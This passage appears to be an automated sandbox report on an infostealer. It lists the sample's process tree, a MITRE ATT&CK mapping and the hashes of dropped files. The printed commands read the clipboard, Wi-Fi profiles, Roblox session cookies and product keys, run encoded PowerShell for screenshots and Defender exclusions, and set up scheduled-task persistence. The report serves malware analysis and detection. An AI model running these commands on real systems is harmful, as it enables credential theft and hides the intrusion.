C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
6⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4360

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
5⤵
- Suspicious use of WriteProcessMemory
PID:1448

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3108

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
5⤵
- Suspicious use of WriteProcessMemory
PID:5040

C:\Windows\system32\tree.com
tree /A /F
6⤵
PID:1924

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
5⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:2348

C:\Windows\system32\netsh.exe
netsh wlan show profile
6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
5⤵
PID:2060

C:\Windows\system32\systeminfo.exe
systeminfo
6⤵
- Gathers system information
PID:4812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
5⤵
- Suspicious use of WriteProcessMemory
PID:3436

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
6⤵
PID:1128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
5⤵
PID:3964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:692

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fcy4a2it\fcy4a2it.cmdline"
7⤵
PID:4700

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6145.tmp" "c:\Users\Admin\AppData\Local\Temp\fcy4a2it\CSCFED439EF389A4978B1404496CCA0B680.TMP"
8⤵
PID:4612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
5⤵
PID:1632

C:\Windows\system32\tree.com
tree /A /F
6⤵
PID:3608

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
5⤵
PID:2540

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
6⤵
- Views/modifies file attributes
PID:3020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
5⤵
PID:4516

C:\Windows\system32\tree.com
tree /A /F
6⤵
PID:3024

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
5⤵
PID:756

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
6⤵
- Views/modifies file attributes
PID:4724

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
5⤵
PID:3020

C:\Windows\system32\tree.com
tree /A /F
6⤵
PID:724

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
5⤵
PID:3748

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:3436

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
6⤵
- Enumerates processes with tasklist
PID:2756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
5⤵
PID:1084

C:\Windows\system32\tree.com
tree /A /F
6⤵
PID:1316

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
5⤵
PID:2140

C:\Windows\system32\tree.com
tree /A /F
6⤵
PID:3136

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
5⤵
PID:2828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
6⤵
- Command and Scripting Interpreter: PowerShell
PID:1684

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
5⤵
PID:4968

C:\Windows\system32\getmac.exe
getmac
6⤵
PID:5100

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
5⤵
PID:2668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
6⤵
PID:2860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24122\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\xsEqI.zip" *"
5⤵
PID:4552

C:\Users\Admin\AppData\Local\Temp\_MEI24122\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI24122\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\xsEqI.zip" *
6⤵
PID:1612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
5⤵
PID:2352

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
6⤵
PID:4736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
5⤵
PID:4468

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
6⤵
PID:4000

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
5⤵
PID:3968

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
6⤵
PID:2836

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
5⤵
PID:1716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
6⤵
- Command and Scripting Interpreter: PowerShell
PID:4120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
5⤵
PID:2984

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
6⤵
- Detects videocard installed
PID:4628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
5⤵
PID:692

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
6⤵
PID:2304

C:\Users\Admin\AppData\Local\Temp\splwow64.exe
"C:\Users\Admin\AppData\Local\Temp\splwow64.exe"
3⤵
- Executes dropped EXE
PID:2532

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\splwow64.exe"
4⤵
PID:4696

C:\Windows\System32\cmd.exe
"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\services64.exe"
5⤵
PID:4888

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\services64.exe"
6⤵
- Scheduled Task/Job: Scheduled Task
PID:864

C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe
"C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe"
3⤵
- Executes dropped EXE
PID:2828

C:\Users\Admin\Desktop\munchenlatest.exe
"C:\Users\Admin\Desktop\munchenlatest.exe"
1⤵
PID:1836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbABxACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAdwB1ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAIABwAHIAbwBnAHIAYQBtACAAYwBhAG4AJwAnAHQAIABzAHQAYQByAHQAIABiAGUAYwBhAHUAcwBlACAATQBTAFYAQwBQADEANAAwAC4AZABsAGwAIABpAHMAIABtAGkAcwBzAGkAbgBnACAAZgByAG8AbQAgAHkAbwB1AHIAIABjAG8AbQBwAHUAdABlAHIALgAgAFQAcgB5ACAAcgBlAGkAbgBzAHQAYQBsAGwAaQBuAGcAIAB0AGgAZQAgAHAAcgBvAGcAcgBhAG0AIAB0AG8AIABmAGkAeAAgAHQAaABpAHMAIABwAHIAbwBiAGwAZQBtAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHQAYgBlACMAPgA="
2⤵
PID:1080

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeABlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHAAYgB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAdQBwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAaABzACMAPgA="
2⤵
PID:2656

C:\Users\Admin\AppData\Local\Temp\rundii32.exe
"C:\Users\Admin\AppData\Local\Temp\rundii32.exe"
2⤵
PID:1732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAbQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcwB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHoAdgBoACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAcABjACMAPgA="
3⤵
PID:2012

C:\Users\Admin\AppData\Local\Temp\rundii.exe
"C:\Users\Admin\AppData\Local\Temp\rundii.exe"
3⤵
PID:1536

C:\Users\Admin\AppData\Local\Temp\rundii.exe
"C:\Users\Admin\AppData\Local\Temp\rundii.exe"
4⤵
PID:4120

C:\Users\Admin\AppData\Local\Temp\splwow64.exe
"C:\Users\Admin\AppData\Local\Temp\splwow64.exe"
3⤵
PID:724

C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe
"C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe"
3⤵
PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Core Sound Service.exe

Filesize
411KB

MD5
180c04a828909e35bf3d461c0eb827cc

SHA1
e692112d425fc5b6adc5c7bfa1e66757bb8f8c11

SHA256
c7b5bccc8f1089f9ea3f5fb3a6dd2843bd27c2994a59d770fd4a81cc472e499b

SHA512
6dda55954d148efad2615d26a85eebef3e3ab86de484a713b1c21e4c446b652aa8ccdc7a9c49e82110632019ad87a8365a418df2e0091bcc5235a1c0f240ea04

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI15362\blank.aes

Filesize
79KB

MD5
79440f6d81fdf83469a8b3167f654461

SHA1
f6cbbcaa10ff39668d44fc59f2bef06d192ddd95

SHA256
48e1ca7b0e4554b35a0d965c1edb1b1fa152caaa6b68dd71df1029155e2d123f

SHA512
ef3aee9569bbc047eb239121ee1783a1ed626570a157dba179124e8c68a1bad481be54c581427b8d7dc5fc058f0a6df9a4e9aa9ca2ee52d82378d823ddfe0af7

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI24122\VCRUNTIME140.dll

Filesize
95KB

MD5
f34eb034aa4a9735218686590cba2e8b

SHA1
2bc20acdcb201676b77a66fa7ec6b53fa2644713

SHA256
9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1

SHA512
d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI24122\_ctypes.pyd

Filesize
58KB

MD5
31859b9a99a29127c4236968b87dbcbb

SHA1
29b4ee82aa026c10fe8a4f43b40cbd8ec7ea71e5

SHA256
644712c3475be7f02c2493d75e6a831372d01243aca61aa8a1418f57e6d0b713

SHA512
fec3ab9ce032e02c432d714de0d764aab83917129a5e6eeca21526b03176da68da08024d676bc0032200b2d2652e6d442ca2f1ef710a7408bd198995883a943a

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI24122\api-ms-win-core-console-l1-1-0.dll

Filesize
10KB

MD5
6746e9cbc897101fd8ca22e42490614f

SHA1
3d732b58411eb6f4ad624bc9c7c5243315466ed3

SHA256
81310fd7aaf3a8a280e6efddecd5a682c871fc6f5595a3ba131c9e60b58c80e1

SHA512
2d9e059c9f924030d119e42de65e7488dfb87459d732391c674448e63e3a10b75b0886e0eedfdcab86dbb14c987cf6d1a0d276a9bc7571fcb0cfd8ff0c9157d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI24122\api-ms-win-core-datetime-l1-1-0.dll

Filesize
10KB

MD5
50ccec6aa3033c421ec34a17625bdc08

SHA1
abce26f3702e8f3d833f2e35adc8bc42d95354d6

SHA256
0d9125cc84892ef961f33f316139e027095e325d540a98d5cd8099633d31b368

SHA512
